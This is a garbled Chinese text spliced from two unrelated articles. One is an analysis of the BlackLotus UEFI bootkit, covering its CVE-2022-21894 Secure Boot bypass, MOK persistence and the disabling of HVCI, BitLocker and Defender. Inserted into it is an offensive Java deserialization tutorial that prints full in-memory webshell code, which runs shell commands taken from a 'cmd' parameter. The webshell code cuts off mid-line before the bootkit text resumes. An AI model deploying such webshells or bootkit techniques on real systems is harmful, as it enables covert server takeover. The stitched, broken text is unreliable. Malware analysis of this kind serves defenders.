4.它能夠禁用操作系統安全機制,如BitLocker, HVCI和Windows Defender;

5.一旦安裝完畢,bootkit的主要目標是部署一個內核驅動程序(其中一個功能是保護bootkit不被刪除),以及一個負責與CC通信並能夠加載其他用戶模式或內核模式負載的HTTP下載器;

6.至少從2022年10月6日起,BlackLotus就在地下論壇上進行銷售;

7.有趣的是,如果受攻擊的主機位於以下地區,研究人員分析的一些BlackLotus安裝程序不會繼續進行bootkit安裝:

Romanian(Moldova),ro-MDRussian(Moldova),ru-MDRussian(Russia),ru-RUUkrainian(Ukraine),uk-UABelarusian(Belarus),be-BYArmenian(Armenia),hy-AMKazakh(Kazakhstan),kk-KZ與BlackLotus相關的各事件的時間軸如下圖所示。

1.png

與BlackLotus UEFI bootkit相關的主要事件時間軸

如上所述,自2022年10月6日起,bootkit已在地下論壇上銷售。目前,研究人員還無法從監測數據中確定用於向受害者部署bootkit的確切傳播渠道。研究人員從公開來源和監測數據中獲得的BlackLotus樣本數量很少,這證明只有很少的攻擊者開始使用它。但是,在BlackLotus依賴的易受攻擊的啟動程序被取消之前,研究人員擔心,如果這個bootkit落入知名的犯罪組織手中,情況會迅速發生變化,這是基於bootkit的易於部署和犯罪組織利用其殭屍網絡傳播惡意軟件的能力。

幕後組織是BlackLotus嗎? BlackLotus屬於一款相當全能的固件級rootkit 惡意軟件。特點是能夠躲過各種刪除操作,以及繞過先進的Windows 防護措施。此前這類高級攻擊能力,僅被擁有深厚背景的機構所擁有,比如情報威脅組織。

1.BlackLotus在黑客論壇上的宣稱它具有集成的安全啟動繞過。將易受攻擊的驅動程序添加到UEFI取消列表目前是不可能的,因為該漏洞影響了數百個至今仍在使用的啟動加載程序。

安全研究人員分析:它利用CVE-2022-21894來破壞安全啟動,並在支持UEFI Secure Boot的系統上實現持久性。在撰寫本文時,它使用的易受攻擊的驅動程序仍然沒有在最新的dbx中被取消。

2.BlackLotus在黑客論壇上宣稱,bootkit具有內置的Ring0/Kernel保護,可以防止被刪除。

安全研究人員分析:它的內核驅動程序保護屬於EFI系統分區(ESP)上的文件句柄,可以不被關閉。作為額外的保護層,這些句柄會被持續監控,如果這些句柄中的任何一個被關閉,就會觸發藍屏死機(BSOD)。

3.BlackLotus在黑客論壇上宣稱,它具有反虛擬機(anti-VM)、反調試和代碼混淆功能,可以阻止被分析。

安全研究人員分析:它包含各種反虛擬機(anti-VM)、反調試和混淆技術,使其更難被複製或分析。

4.BlackLotus在黑客論壇上宣稱其目的是充當HTTP下載器。

安全研究人員分析:它的最後一個組件充當HTTP下載器,如HTTP下載器部分所述。

5.BlackLotus在黑客論壇上宣稱,HTTP下載器在一個合法的進程中以SYSTEM帳戶運行。

安全研究人員分析:它的HTTP下載器在winlogon.exe進程上下文中運行。

6.BlackLotus在黑客論壇上的宣稱,它是一個磁盤大小只有80kB的小型bootkit。

安全研究人員分析:能夠獲得的樣本確實在80 kB左右。

7.BlackLotus在黑客論壇宣稱,它可以禁用Windows內置的安全保護,如HVCI, Bitlocker, Windows Defender,並繞過用戶帳戶控制(UAC)。

安全研究人員分析:它可以禁用HVCI, Windows Defender, BitLocker並繞過UAC。

基於這些分析,研究人員可以肯定他們在野外發現的bootkit是BlackLotus UEFIbootkit。

攻擊概述BlackLotus攻擊鏈的簡單步驟如下圖所示。它由三個主要部分組成:

它首先執行安裝程序(下圖中的步驟1),該安裝程序負責將bootkit的文件部署到EFI系統分區,禁用HVCI和BitLocker,然後重新啟動計算機。

第一次重新啟動後,利用CVE-2022-21894並隨後記錄攻擊目標設備所有者的密鑰(MOK),以便在啟用UEFI Secure Boot的系統上實現持久性。然後重新啟動設備(下圖的步驟2-4)。

在所有後續啟動中,執行自簽名的UEFIbootkit,並部署其內核驅動程序和用戶模式有效負載(HTTP下載器)。這些組件能夠一起從CC服務器下載並執行額外的用戶模式和驅動程序組件,並保護bootkit不被刪除(下圖中的步驟5-9)。

2.png

BlackLotus的簡單步驟

工件分析儘管研究人員認為這是BlackLotus UEFIbootkit,但在分析的示例中沒有發現任何引用此名稱的內容。相反,該代碼充滿了對《暮蝉悲鸣时》 (HigurashiWhenTheyCry)動漫的引用,例如,在單個組件名稱中,例如Higurashi_installer_uac_module.dll和Higurashi _kernel.sys,以及用於簽名bootkit二進製文件的自簽名證書中(如下圖所示)。

3.png

BlackLotusbootkit使用的自簽名證書

此外,代碼解密但從不使用包含來自BlackLotus開發者的消息的各種字符串(如下圖所示),注意,hasherezade是一位著名的研究人員和各種惡意軟件分析工具的開發者,或者只是一些來自各種歌曲、遊戲或系列的隨機引用。

4.png

BlackLotus開發者在代碼中留下的消息示例

安裝過程研究人員首先分析了BlackLotus安裝程序,bootkit似乎以安裝程序的形式傳播,有兩個版本——離線和在線。這兩者之間的區別在於它們獲取合法(但易受攻擊)的Windows二進製文件的方式,這些二進製文件後來被用於繞過安全啟動。

在脫機版本中,Windows二進製文件嵌入在安裝程序中;

在在線版本中,Windows二進製文件直接從Microsoft符號存儲中下載。到目前為止,我們已經看到以下Windows二進製文件被BlackLotus bootkit濫用:

https://msdl.microsoft.com/download/symbols/bootmgfw.efi/7144BCD31C0000/bootmgfw.efi;https://msdl.microsoft.com/download/symbols/bootmgr.efi/98B063A61BC000/bootmgr.e fi;https://msdl.microsoft.com/download/symbols/hvloader.efi/559F396411D000/hvloader.efi;安裝程序的目標很明確,它負責禁用Windows安全功能,如BitLocker磁盤加密和HVCI,並將多個文件(包括惡意bootkit)部署到ESP。完成後,它會重新啟動受攻擊的設備,讓被釋放的文件完成其工作,以確保每次系統啟動時都會自動執行自簽名的UEFIbootkit,無論UEFI Secure Boot保護狀態如何。

初始化步驟執行安裝程序時,它會檢查它是否有足夠的權限(至少需要管理員)將其余文件部署到ESP,並執行其他需要提升進程的操作,如關閉HVCI或禁用BitLocker。如果不是這樣的話,它會嘗試通過使用此處詳細描述的UAC繞過方法再次執行安裝程序來提升,通過程序兼容性助手進行UAC繞過。

獲得必要的權限後,它將繼續,通過使用可用的Windows API函數讀取SecureBoot UEFI變量的值來檢查UEFI Secure Boot狀態,並通過直接訪問內存中的KUSER_SHARED_DATA結構字段NtMajorVersion和NtMinorVersion來確定Windows版本。它這樣做是為了決定是否需要繞過UEFI Secure Boot來在受害者的系統上部署bootkit(因為安全啟動支持最初是在Windows 8中添加的,並且可能不會在任何給定的設備上啟用)。

在繼續下一步之前,它將位於ESP:\EFI\Microsoft\Boot\目錄中的合法Windows啟動管理器(bootmgfw.efi)二進製文件重命名為winload.efi。此重命名的bootmgfw.exfi備份稍後將被bootkit用於啟動操作系統,或者在從CC服務器收到“卸載”命令時恢復原始啟動鏈,詳見CC通信部分。

步驟1——部署文件如果啟用了UEFI Secure Boot,安裝程序會將多個文件放入ESP:/EFI/Microsoft/Boot/和ESP:/system32/目錄中。前者是Windows使用的標準目錄,後者是安裝程序創建的自定義文件夾。

表1提供了安裝程序釋放的文件列表,並簡要說明了每個文件在執行鏈中的角色。稍後研究人員將詳細解釋執行鍊是如何工作的,現在只需注意,幾個合法的Microsoft簽名文件與惡意文件一起被釋放。

表1:BlackLotus安裝程序在啟用UEFI Secure Boot的系統上部署的文件

5.png

如果受害者正在運行不支持UEFI Secure Boot的Windows版本,或者在UEFI Secure Boot被禁用的情況下,部署非常簡單。部署惡意bootkit唯一需要做的事情是將ESP:\EFI\Microsoft\Boot\目錄中現有的Windows啟動管理器(bootmgfw.efi)二進製文件替換為攻擊者自己的自簽名惡意UEFI應用程序。由於UEFI Secure Boot是禁用的(因此在啟動期間不執行完整性驗證),因此不需要利用,UEFI固件只是執行惡意啟動管理器而不會導致任何安全違規。

步驟2——禁用受虛擬機監控程序保護的代碼完整性(HVCI)為了以後能夠運行自定義的未簽名內核代碼,安裝程序必須確保在系統上禁用了HVCI。已經有一位ESET研究人員在2022年就這個主題寫了一篇內容文章(簽名內核驅動程序——Windows內核的無防護網關):

基於虛擬化的安全(VBS)提供了幾個保護功能,其中最突出的是hypervisor保護的代碼完整性(HVCI),這也是一個獨立的功能。 HVCI在內核中強制執行代碼完整性,並且只允許執行有簽名的代碼。它有效地防止了易受攻擊的驅動程序被濫用來執行未簽名的內核代碼或加載惡意驅動程序(無論使用何種攻擊方法),似乎惡意軟件濫用易受攻擊的驅動程序來加載惡意代碼是微軟實現這一功能的主要動機之一。

如下圖所示,要禁用此功能,安裝程序將HypervisorEnforcedCodeIntegrity註冊表項下的Enabled註冊表值設置為零。

6.png

負責禁用HVCI的BlackLotus安裝程序函數的Hex-Rays反編譯代碼

步驟3——禁用BitLocker安裝程序禁用的下一個功能是BitLocker驅動器加密。這樣做的原因是,BitLocker可以與受信任的平台模塊(TPM)結合使用,以確保自系統上配置BitLocker驅動器加密以來,各種啟動文件和配置(包括安全啟動)未被篡改。考慮到安裝程序修改了受攻擊設備上的Windows啟動鏈,在支持TPM的系統上保持BitLocker將導致下次啟動時出現BitLocker恢復屏幕,並提示受害者係統已被攻擊。

要禁用此保護,BlackLotus安裝程序進行以下操作:

遍歷Root\CIMV2\Security\MicrosoftVolumeEncryption WMI命名空間下的所有捲,並通過調用Win32_EncryptableVolume WMI類的GetProtectionStatus方法檢查其保護狀態;

對於受BitLocker保護的對象,它調用DisableKeyProtectors方法,DisableCount參數設置為零,這意味著保護將被掛起,直到手動啟用;

在禁用了必要的保護並部署了所有文件後,安裝程序將自己註冊為在下次系統重新啟動時刪除,並重新啟動計算機以繼續利用CVE-2022-21894。

0x01 前言很多小伙伴做反序列化漏洞的研究都是以命令執行為目標,本地測試最喜歡的就是彈計算器,但沒有對反序列化漏洞進行深入研究,例如如何回顯命令執行的結果,如何加載內存馬。 (關注“Beacon Tower Lab”烽火台實驗室,為您持續輸出前沿的安全攻防技術)

在上一篇文章中↓↓↓

記一次反序列化漏洞的利用之路

遇到了一個實際環境中的反序列化漏洞,也通過調試最終成功執行命令,達到了RCE的效果。在實際的攻防場景下,能執行命令並不是最完美的利用場景,內存馬才是最終的目標。本篇文章就在此基礎上講一講如何進行命令回顯和加載內存馬。

0x02回顯在研究基於反序列化利用鏈的回顯實現之前,首先解決基於反序列化利用鏈的回顯實現,也就是在響應結果中輸出命令執行的結果。對PHP語言熟悉的小伙伴可能會覺得這並不算問題,直接echo不就行了,java裡面是不是也應該有類似的函數例如out.println()。 Java是一種面向對象的編程語言,所有的操作都是基於類和對象進行,如果要在頁面響應中輸出內容,必須要先有HttpServletResponse對象,典型的把命令執行結果響應到頁面的方式如圖2.1所示。

1679537651111929.png

圖2.1 通過HttpServletResponse對象輸出命令執行結果

從圖2.1可以看出最簡單的命令執行,也需要比較複雜的代碼邏輯,也就要求利用鏈中必須要支持執行複雜語句。並不是所有的ysoserial利用鏈都能達到回顯和

內存馬的效果,只有支持複雜語句的利用鏈才能回顯和內存馬,如表2.1所示。

表2.1 ysoserial利用鏈中對複雜語句的支持

1679537698187977.jpeg

我們先以CommonsBeanutils1利用鏈來進行分析,其他CommonsCollections利用鏈本質上是一樣的,CommonsBeanutils1鍊和CommonsCollections鏈最終都是xalan庫來動態加載字節碼,執行複雜語句。關於xalan利用鏈的分析網上有很多文章,這裡暫不做分析。

要實現反序列化利用鏈的結果回顯,最重要的是要獲取到HttpServletRequest對象和HttpServletResponse對象,根據目標環境的不同,獲取這兩個對象的辦法是不一樣的,如圖2.2,圖2.3所示。

1679537754866091.png

圖2.2 SpringBoot環境下獲取request和response對象

1679537779179682.png

圖2.3 SpringMVC環境下獲取request和response對象

不同的服務器獲取這兩個對象的方式不一樣,其他例如Weblogic、Jboss、Websphere這些中間件獲取這兩個對象的方式也不一樣,這種差異化極大的增加了反序列化回顯和內存馬實現的難度。

有沒有一種比較通用的辦法能夠獲取到request和response對象呢?答案是有的,基於Thread.CurrentThread()遞歸搜索可以實現通用的對象查找。目前測試環境是SpringMVC和SpringBOOT,其他環境暫未測試。

Thread.CurrentThread()中保存了當前線程中的全局信息,系統運行環境中所有的類對像都保存在Thread.CurrentThread()。用於回顯需要的request和response對象可以在Thread.CurrentThread()中找到;用於內存馬實現的StandardContext對像也可以找到。

遞歸搜索的思路就是遍歷Thread.CurrentThread()下的每一個字段,如果字段類別繼承自目標類(例如javax.servlet.http.HttpServletRequest),則進行標記,否則繼續遍歷。如圖2.3的方式是在已知目標類的位置獲取目標類對應對象的方式,我們的改進辦法是在未知目標類位置的情況下,通過遍歷的方式來發現目標類對象。

其中關鍵的代碼如圖2.4所示,完整的代碼見github項目地址。其中最關鍵的步驟是通過遞歸的方式來查找Thread.CurrentThread()的所有字段,依次判斷字段類型是否為javax.servlet.http.HttpServletRequest和javax.servlet.http.HttpServletResponse。

1679537821729281.png

圖2.4 通過遞歸方式來查找request和response對象

使用這種方式的好處是通用性高,而不需要再去記不同服務器下對象的具體位置。把這種方式保存為一條新的利用鏈CommonsBeanutils1Echo,然後就可以在兼容SpringMVC和SpringBoot的環境中使用相同的反序列化包,如圖2.5,圖2.6所示。

1679537849174356.png

圖2.5 生成payload

1679537888768042.png

圖2.6 使用生成的payload進行反序列化測試

0x03 內存馬內存馬一直都是java反序列化利用的終極目標,內存馬的實現方式有很多種,其中最常見的是基於Filter的內存馬,本文目標也是通過反序列化漏洞實現通用的冰蠍內存馬。

基於Filter型的內存馬實現步驟比較固定,如果是在jsp的環境下,可以使用下面的方式來生成內存馬。

%@ page import='java.io.IOException' %%@ page import='java.io.InputStream' %%@ page import='java.util.Scanner' %%@ page import='org.apache.catalina.core.StandardContext' %%@ page import='java.io.PrintWriter' %

% //創建惡意Servlet Servlet servlet=new Servlet() { @Override public void init(ServletConfig servletConfig) throws ServletException {

} @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd=servletRequest.getParameter('cmd'); boolean isLinux=true; String osTyp=System.getProperty('os.name'); if (osTyp !=null osTyp.toLowerCase().contains('win')) { isLinux=false; } String[] cmds=isLinux ? new String[]{'sh', '-c', cmd} : new String[]{'cmd.exe', '/c', cmd}; InputStream in=Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s=new Scanner(in).useDelimiter('\\a'); String output=s.hasNext() ? s.next() : ''; PrintWriter out=servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } @Override public String getServletInfo() { return null; } @Override public void destroy() {

} };

%% //獲取StandardContext org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase=(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx=(StandardContext)webappClassLoaderBase.getResources().getContext();

//用Wrapper對其進行封裝org.apache.catalina.Wrapper newWrapper=standardCtx.createWrapper(); newWrapper.setName('pv587'); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName());

//添加封裝後的惡意Wrapper到StandardContext的children當中standardCtx.addChild(newWrapper);

//添加ServletMapping將訪問的URL和Servlet進行綁定standardCtx.addServletMapping('/pv587','pv587');%

訪問上面的jsp文件,然後就可以刪除文件,訪問內存馬了,如圖3.1所示。

1679538018616480.png

圖3.1 通過jsp文件來實現內存馬

上面的代碼是最初級的內存馬實現,通過jsp文件來實現的命令執行的內存馬。由於本文的重點不是講內存馬的原理,所以代碼原理簡單在註釋中說明,如果需要詳細的原因可以參考其他專門講內存馬的文章。在反序列化環境下實現冰蠍的內存馬要比這個複雜很多,但是其中一些本質上的步驟是不變的。

內存馬實現種最關鍵的是要獲取StandardContext對象,然後基於這個對象來綁定Wrapper。不同的環境下獲取StandardContext對象的方式不一樣,與上面步驟回顯的方式一致,也可以通過遞歸搜索的方式從Thread.CurrentThread()中查找,把上面內存馬的實現放在遞歸搜索的模版中實現如下所示。

package ysoserial.template;

import org.apache.catalina.Context;import org.apache.catalina.core.ApplicationFilterConfig;import org.apache.catalina.core.StandardContext;import org.apache.catalina.deploy.FilterDef;import org.apache.catalina.deploy.FilterMap;

import javax.servlet.*;import java.io.IOException;import java.io.InputStream;import java.io.PrintWriter;import java.lang.reflect.Constructor;import java.util.HashSet;import java.lang.reflect.Array;import java.lang.reflect.Field;import java.util.*;

public class DFSMemShell {

private HashSet set=new HashSet(); private Object standard_context_obj; private Class standard_context_clazz=Class.forName('org.apache.catalina.core.StandardContext');

public DFSMemShell() throws Exception { StandardContext standardCtx=(StandardContext) standard_context_obj; FilterDef filterDef=new FilterDef(); filterDef.setFilterName('TestFilter'); filterDef.setFilter(new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException {

}

@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd=servletRequest.getParameter('cmd'); boolean isLinux=true; String osTyp=System.getProperty('os.name'); if (osTyp !=null osTyp.toLowerCase().contains('win')) { isLinux=false; } String[] cmds=isLinux ? new String[]{'sh', '-c', cmd} : new String[]{'cmd.exe', '/c', cmd}; InputStream in=Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s=new Scanner(in).useDelimiter('\\a'); String output=s.hasNext() ? s.next() : ''; PrintWriter out=servletResponse.getWriter(); out.println(output); out.flush(); out.close();

}

@Override public void destroy() {

} }); standardCtx.addFilterDef(filterDef);

Constructor constructor=ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, filterDef.getClass()); constructor.setAccessible(true); ApplicationFilterConfig applicationFilterConfig=(ApplicationFilterConfig)constructor.newInstance(standardCtx, filterDef); Field field=standardCtx.getClass().getDeclaredField('filterConfigs'); field.setAccessible(true); Map applicationFilterConfigs=(Map) field.get(standardCtx); applicationFilterConfigs.put('TestFilter', applicationFilterConfig); FilterMap filterMap=new FilterMap(); filterMap.setFilterName('TestFilter'); filterMap.addURLPattern('/btltest'); //動態應用FilterMap standardCtx.addFilterMap(filterMap); }

public Object getStandardContext(){ return standard_context_obj; }

public void search(Object obj) throws IllegalAccessException { if (obj==null){ return; } if (standard_context_obj !=null){ return; } if (obj.getClass().equals(Object.class) ) { return; } if (standard_context_clazz.isAssignableFrom(obj.getClass())){ System.out.println('Found standardContext'); standard_context_obj=obj; return; } if (obj.getClass().isArray()) { for (int i=0; i Array.getLength(obj); i++) { search(Array.get(obj, i)); } } else { Queue q=getAllFields(obj); while (!q.isEmpty()) { Field field=(Field) q.poll(); field.setAccessible(true); Object fieldValue=field.get(obj); if(standard_context_clazz.isA

繞過安全啟動並建立持久性在本部分中,我們將詳細了解BlackLotus如何在啟用UEFI Secure Boot的系統上實現持久性。由於我們將要描述的執行鏈非常複雜,我們將首先解釋基本原理,然後深入了解技術細節。

簡而言之,該過程包括兩個關鍵步驟:

利用CVE-2022-21894繞過安全啟動功能並安裝bootkit。這允許在早期啟動階段任意執行代碼,此時平台仍然由固件擁有,UEFI啟動服務功能仍然可用。這使得攻擊者可以在沒有物理訪問權限的情況下,在啟用了UEFI Secure Boot的設備上做許多不應該做的事情,例如修改僅用於啟動服務的NVRAM變量。這就是攻擊者在下一個步驟中為bootkit設置持久性所利用的。通過將自己的MOK寫入MokList來設置持久性,Boot僅服務NVRAM變量。這樣,它可以使用合法的Microsoft-signedshim加載其自簽名(由寫入MokList的密鑰的私鑰簽名)UEFIbootkit,而不是在每次啟動時利用該漏洞。有關這一點的更多信息,請參閱Bootkit持久性部分。

為了使下面兩部分的分析更容易,研究人員將遵循執行圖(下圖)中所示的步驟。

7.png

繞過安全啟動並使用MOK設置持久性

利用CVE-2022-21894為了繞過安全啟動,BlackLotus使用baton drop漏洞(CVE-2022-21894):安全啟動安全功能繞過漏洞。儘管這個漏洞對系統安全影響很大,但它並沒有得到應有的重視。儘管微軟在2022年1月的更新中修復了該漏洞,但由於受影響的二進製文件仍未添加到UEFI取消列表中,因此攻擊者仍有可能利用該漏洞。因此,攻擊者可以將他們自己的易受攻擊的二進製文件副本帶到受害者的設備上,以利用此漏洞並繞過最新UEFI系統上的安全啟動。

此外,自2022年8月以來,針對該漏洞的概念證明(PoC)漏洞已公開可用。考慮到第一次BlackLotus VirusTotal提交的日期,惡意軟件開發人員可能只是根據他們的需要調整了可用的PoC,而不需要深入了解此漏洞的工作原理。

讓我們先簡單介紹一下該漏洞,主要是與PoC一起發佈在GitHub上的文章中的關鍵點:

受影響的Windows啟動應用程序(如bootmgr.efi、hvloader.efi、winload.efi…)允許在應用程序加載序列化安全啟動策略之前,使用truncatememory BCD啟動選項從內存中刪除該策略。

這允許攻擊者使用其他危險的BCD選項,如bootdebug、testsigning或nointegridchecks,從而破壞安全啟動。

有多種方法可以利用此漏洞——其中三種方法已發佈在PoC存儲庫中。

例如,其中一個PoC顯示瞭如何利用它使合法的hvloader.efi加載任意的自簽名mcupdate_

現在,我們繼續介紹BlackLotus如何利用此漏洞:

1.安裝程序重新啟動機器後,UEFI固件將繼續加載第一個啟動選項。對於Windows系統,默認情況下,第一個啟動選項是位於ESP上ESP:/efi/Microsoft/boot文件夾中的bootmgfw.efi。這一次,固件沒有執行原始受害者的bootmgfw.efi(安裝程序以前將其重命名為winload.efi),而是執行安裝程序部署的易受攻擊的啟動。

2.執行bootmgfw.efi後,它將加載BCD啟動選項,該選項先前由安裝程序修改。下圖顯示了合法BCD和修改後BCD的比較。

3.如下圖所示(路徑以綠色劃線),合法的Windows Boot Manager通常會將Windows OS加載程序(\Windows\system32\winload.efi)作為默認啟動應用程序加載。但這一次,使用修改後的BCD,它繼續加載易受攻擊的ESP:\system32\bootmgr.efi,避免內存BCD元素設置為值0x10000000,並且custom:22000023BCD指向另一個攻擊者存儲在ESP:\system32\BCD中的BCD。

8.png

合法BCD存儲(BEFORE)與BlackLotus安裝程序使用的存儲(AFTER)的比較

4.在下一步中,執行的ESP:\system32\bootmgr.efi加載位於ESP:\system32\BCD中的附加BCD。這個附加BCD的解析內容如下圖所示。

9.png

BlackLotus安裝程序釋放的第二個BCD——用於利用CVE-2022-21894

5.由於從上圖所示的BCD文件加載了選項,bootmgr.efi將繼續加載安裝程序部署的另一個易受攻擊的Windows啟動應用程序ESP:\system32\hvloader.efi,即Windows Hypervisor Loader。更重要的是,在同一BCD文件中指定了其他BCD選項:

值設置為0x10000000的truncatememory;

nointegridchecks設置為Yes;

testsigning也設置為Yes;

此時就會發生意想不到的事情,由於序列化的安全啟動策略應該在0x10000000以上的物理地址中加載(因為前面步驟中使用了avoidlowmemory),指定truncatmemory元素將有效地刪除它。因此,中斷安全啟動並允許使用危險的BCD選項,如nointegritychecks或testsigning。通過使用這些選項,攻擊者可以使hvloader.efi執行自己的自簽名代碼。

6.為此,使用此PoC中描述的技巧,即在執行過程中,合法的hvloader.efi從

10.png

從合法的hvloader.efi反編譯BtLoadUpdateDll函數,負責加載mcupdate_*.dll

7.現在,隨著攻擊者自己的自簽名mcupdate*.dll被加載和執行,它將繼續執行這個鏈中的最後一個組件——一個嵌入式MokInstaller (UEFI應用程序)——參見圖10了解它是如何完成的。

11.png

Hex-Rays反編譯惡意自簽名mcupdate*.dll二進制代碼

Bootkit持久性現在,MokInstaller可以繼續設置持久性,方法是將攻擊者的MOK註冊到NVRAM變量中,並將合法的Microsoft簽名的shim二進製文件設置為默認啟動加載程序來繼續設置持久性。

shim是由Linux開發人員開發的第一階段UEFI啟動加載程序,用於使各種Linux發行版與UEFI Secure Boot一起工作。它是一個簡單的應用程序,其目的是加載、驗證和執行另一個應用程序,在Linux系統中,它通常是GRUB啟動加載程序。它的工作方式是,微軟只簽署一個shim, shim負責其餘的工作,它可以通過使用db UEFI變量中的密鑰來驗證第二階段啟動加載器的完整性,還可以嵌入自己的“允許”或“取消”項或哈希列表,以確保平台和shim開發人員(例如Canonical, RedHat等)都信任的組件被允許執行。除了這些列表之外,shim還允許使用用戶管理的外部密鑰數據庫,即MOK列表。該MOK數據庫存儲在名為MokList的僅啟動NVRAM變量中。在不利用上述漏洞的情況下,需要物理訪問才能在啟用UEFI Secure Boot的系統上對其進行修改(僅在啟動期間,在系統加載程序調用UEFI啟動服務函數ExitBootServices之前可用)。然而,通過利用此漏洞,攻擊者能夠繞過UEFI Secure Boot並在調用ExitBootServices之前執行自己的自簽名代碼,因此他們可以輕鬆註冊自己的密鑰(通過修改MokList NVRAM變量),使填充程序執行任何應用程序(由該註冊密鑰簽名),而不會導致安全違規。

12.jpg

MOK啟動過程

8.MokInstaller UEFI應用程序繼續為BlackLotus UEFIbootkit設置持久性,並通過以下方式覆蓋利用痕跡:

8.1 從安裝程序創建的備份中恢復受害者的原始BCD存儲,並將efi替換為合法的microsoft簽名shim,該shim先前由安裝程序放置到ESP:\system32\bootload.efi中。

8.2創建包含攻擊者自簽名公鑰證書的MokList NVRAM變量。請注意,此變量的格式與任何其他UEFI簽名數據庫變量(如db或dbx)的格式相同,它可以由零個或多個EFI_signature_LIST類型的簽名列表組成,如UEFI規範中所定義。

8.3 從攻擊者的ESP:\system32\文件夾中刪除涉及攻擊的所有文件。

最後,它會重新啟動計算機,使部署的shim執行安裝程序從\EFI\Microsoft\Boot\grub64.EFI中刪除自簽名bootkit,grub64.EFI通常是x86-64系統上shim執行的默認第二階段啟動加載程序。

13.png

Hex Rays反編譯代碼——MokInstaller UEFI應用程序為BlackLotus bootkit設置持久性

BlackLotus UEFIbootkit一旦配置了持久性,就會在每次系統啟動時執行BlackLotusbootkit。 bootkit的目標是部署一個內核驅動程序和一個最終的用戶模式組件——HTTP下載器。在執行過程中,它試圖禁用其他Windows安全功能——基於虛擬化的安全(VBS)和Windows Defender——以提高成功部署和隱形操作的機會。在詳細介紹如何實現之前,讓我們先了解一下內核驅動程序和HTTP下載器的基本知識:

內核驅動程序負責:

部署鏈的下一個組件—HTTP下載器;

在被終止運行的情況下保持加載器不被關閉;

防止從ESP中刪除bootkit文件;

如果HTTP下載器指示的話,執行額外的內核有效負載;

根據HTTP下載器的指示,卸載bootkit。

HTTP下載器負責:

與CC通信;

執行從CC收到的命令;

下載並執行從CC接收到的有效負載(支持內核有效負載和用戶模式有效負載)。

從安裝程序到HTTP下載器的完整執行流程(簡化後)如下圖所示。我們將在下一節中更詳細地描述這些步驟。

14.png

BlackLotus UEFIbootkit執行示意圖

BlackLotus執行流程執行步驟如下(這些步驟如下圖所示):

1.UEFI固件執行默認的Windows啟動選項,該選項通常存儲在\EFI\Microsoft\boot\bootmgfw.EFI中的文件。正上所述,MokInstaller二進製文件用一個合法的簽名shim替換了這個文件。

2.執行shim時,它讀取MokList NVRAM變量,並使用攻擊者先前存儲在其中的證書來驗證第二階段啟動加載程序——位於\EFI\Microsoft\Boot\grubx64.efi中的自簽名BlackLotus UEFI啟動程序。

3.驗證後,shim執行bootkit。

4.bootkit從創建僅啟動VbsPolicyDisable NVRAM變量開始。如本文所述,此變量在啟動期間由Windows OS加載程序評估,如果已定義,則不會初始化核心VBS功能,如HVCI和憑據保護。

5.在以下步驟中,bootkit繼續使用UEFIbootkit使用的通用模式。它攔截典型Windows啟動流中包含的組件的執行,例如Windows啟動管理器、Windows OS加載器和Windows OS內核,並將它們的一些功能掛鉤到內存中。另外,它還嘗試通過修復某些驅動程序來禁用Windows Defender。所有這些都是為了在系統啟動過程的早期階段實現有效負載的執行,並避免檢測。以下函數已掛鉤或修復:

5.1 bootmgfw.efi或bootmgr.efi中的ImgArchStartBootApplication:該函數通常由bootkit掛鉤,以捕捉Windows OS加載程序(winload.efi)加載到內存中但尚未執行的時刻——這是執行更多內存修復的正確時刻。

5.2 winload.efi中的BlImgAllocateImageBuffer:用於為惡意內核驅動程序分配額外的內存緩衝區。

5.3 winload.efi中的OslArchTransferToKernel:連接以捕捉系統內核和某些系統驅動程序已加載到內存中但尚未執行的時刻,這是執行更多內存修復的最佳時刻。下面提到的驅動程序在此掛鉤中進行了修復。下圖顯示了這個掛鉤中負責在內存中查找適當驅動程序的代碼。

5.4 WdBoot.sys和WdFilter.sys:BlackLotus修復了WdBoot.sys和WdFilter.sys(分別是Windows Defender ELAM驅動程序和Windows Defender文件系統篩選器驅動程序)的入口點,以立即返回。

5.5 disk.sys:bootkit將disk.sys驅動程序的入口點掛鉤,以便在系統初始化的早期階段執行BlackLotus內核驅動程序。

15.png

OslArchTransferToKernel掛鉤的反編譯代碼——修復Windows Defender驅動程序並蒐索disk.sys入口點

6.接下來,當系統內核執行disk.sys驅動程序的入口點時,已安裝的掛鉤會跳轉到惡意內核驅動程序入口點。惡意代碼反過來恢復原始disk.sys以使系統正常運行,並等待winlogon.exe進程啟動。

7.當惡意驅動程序檢測到winlogon.exe進程已啟動時,它會向其中註入並執行最終的用戶模式組件——HTTP下載器。

內核驅動程序內核驅動程序主要負責四個任務:

將HTTP下載器注入到winlogon.exe中,並在線程終止時重新註入它;

保護部署在ESP上的bootkit文件不被刪除;

解除用戶模式Windows Defender進程MsMpEngine.exe;

與HTTP下載器通信,並在必要時執行任何命令。

HTTP下載器持久性內核驅動程序負責部署HTTP下載程序。當驅動程序啟動時,它會等待名為winlogon.exe的進程啟動,然後再執行任何其他操作。進程啟動後,驅動程序解密HTTP下載程序二進製文件,將其註入winlogon.exe的地址空間,並在新線程中執行。然後,驅動程序會定期檢查線程是否仍在運行,並在必要時重複注入。如果驅動程序檢測到內核調試器,則不會部署HTTP下載程序。

保護ESP上的bootkit文件不被刪除為了保護ESP上的bootkit文件,內核驅動程序使用了一個簡單的技巧。它打開所有要保護的文件,複製並保存其句柄,並使用ObSetHandleAttributes內核函數將HandleFlags(OBJECT_HANDLE_flag_INFORMATION)參數內的ProtectFromClose標誌指定為1,從而保護句柄不被任何其他進程關閉。這將阻止任何刪除或修改受保護文件的嘗試。受保護的文件包括:

ESP:\EFI\Microsoft\Boot\winload.efiESP:\EFI\Microsoft\Boot\bootmgfw.efiESP:\EFI\Microsoft\Boot\grubx64.efi如果用戶試圖刪除這些受保護的文件,就會出現如下圖所示的情況。

16.png

試圖刪除受BlackLotus驅動程序保護的文件

